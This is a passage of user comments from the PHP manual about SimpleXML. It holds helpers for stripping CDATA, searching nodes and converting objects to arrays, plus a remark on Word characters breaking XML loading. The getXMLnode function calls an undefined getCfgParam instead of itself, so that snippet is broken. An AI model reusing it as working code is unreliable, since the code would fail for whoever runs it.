    $new_xml = NULL;
    preg_match_all("/\<\!\[CDATA \[(.*)\]\]\>/U", $xml, $args);

    if (is_array($args)) {
        if (isset($args[0]) && isset($args[1])) {
            $new_xml = $xml;
            for ($i=0; $i<count($args[0]); $i++) {
                $old_text = $args[0][$i];
                $new_text = htmlspecialchars($args[1][$i]);
                $new_xml = str_replace($old_text, $new_text, $new_xml);
            }
        }
    }

    return $new_xml;
}

//Usage:
$xml = 'Your XML with CDATA...';
$xml = simplexml_unCDATAise($xml);
$xml_object = simplexml_load_string($xml);
?>
info at evasion dot cc 03-Feb-2006 03:37
Suppose you have loaded a XML file into $simpleXML_obj.
The structure is like below :

SimpleXMLElement Object
(

    [node1] => SimpleXMLElement Object
        (
            [subnode1] => value1
            [subnode2] => value2
            [subnode3] => value3
        )

    [node2] => SimpleXMLElement Object
        (
            [subnode4] => value4
            [subnode5] => value5
            [subnode6] => value6
        )

)

When searching a specific node in the object, you may use this function :

<?php

    function &getXMLnode($object, $param) {
        foreach($object as $key => $value) {
            if(isset($object->$key->$param)) {
                return $object->$key->$param;
            }
            if(is_object($object->$key)&&!empty($object->$key)) {
                $new_obj = $object->$key;
                $ret = getCfgParam($new_obj, $param);
            }
        }
        if($ret) return (string) $ret;
        return false;
    }
?>

So if you want to get subnode4 value you may use this function like this :

<?php
$result = getXMLnode($simpleXML_obj, 'subnode4');
echo $result;
?>

It display "value4"
genialbrainmachine at NOSPAM dot tiscali dot it 30-Sep-2005 08:52
Micro$oft Word uses non-standard characters and they create problems in using simplexml_load_file.
Many systems include non-standard Word character in their implementation of ISO-8859-1. So an XML document containing that characters can appear well-formed (i.e.) to many browsers. But if you try to load this kind of documents with simplexml_load_file you'll have a little bunch of troubles..
I believe that this is exactly the same question discussed in htmlentites. Following notes to htmlentitles are interesting here too (given in the reverse order, to grant the history):
http://it.php.net/manual/en/function.htmlentities.php#26379
http://it.php.net/manual/en/function.htmlentities.php#41152
http://it.php.net/manual/en/function.htmlentities.php#42126
http://it.php.net/manual/en/function.htmlentities.php#42511
mark 12-Sep-2005 11:06
If the property of an object is empty the array is not created. Here is a version object2array that transfers properly.

<?php
function object2array($object)
{
    $return = NULL;

    if(is_array($object))
    {
        foreach($object as $key => $value)
            $return[$key] = object2array($value);
    }
    else
    {
        $var = get_object_vars($object);

        if($var)
        {
            foreach($var as $key => $value)
                $return[$key] = ($key && !$value) ? NULL : object2array($value);
        }
        else return $object;
    }

    return $return;
}
?>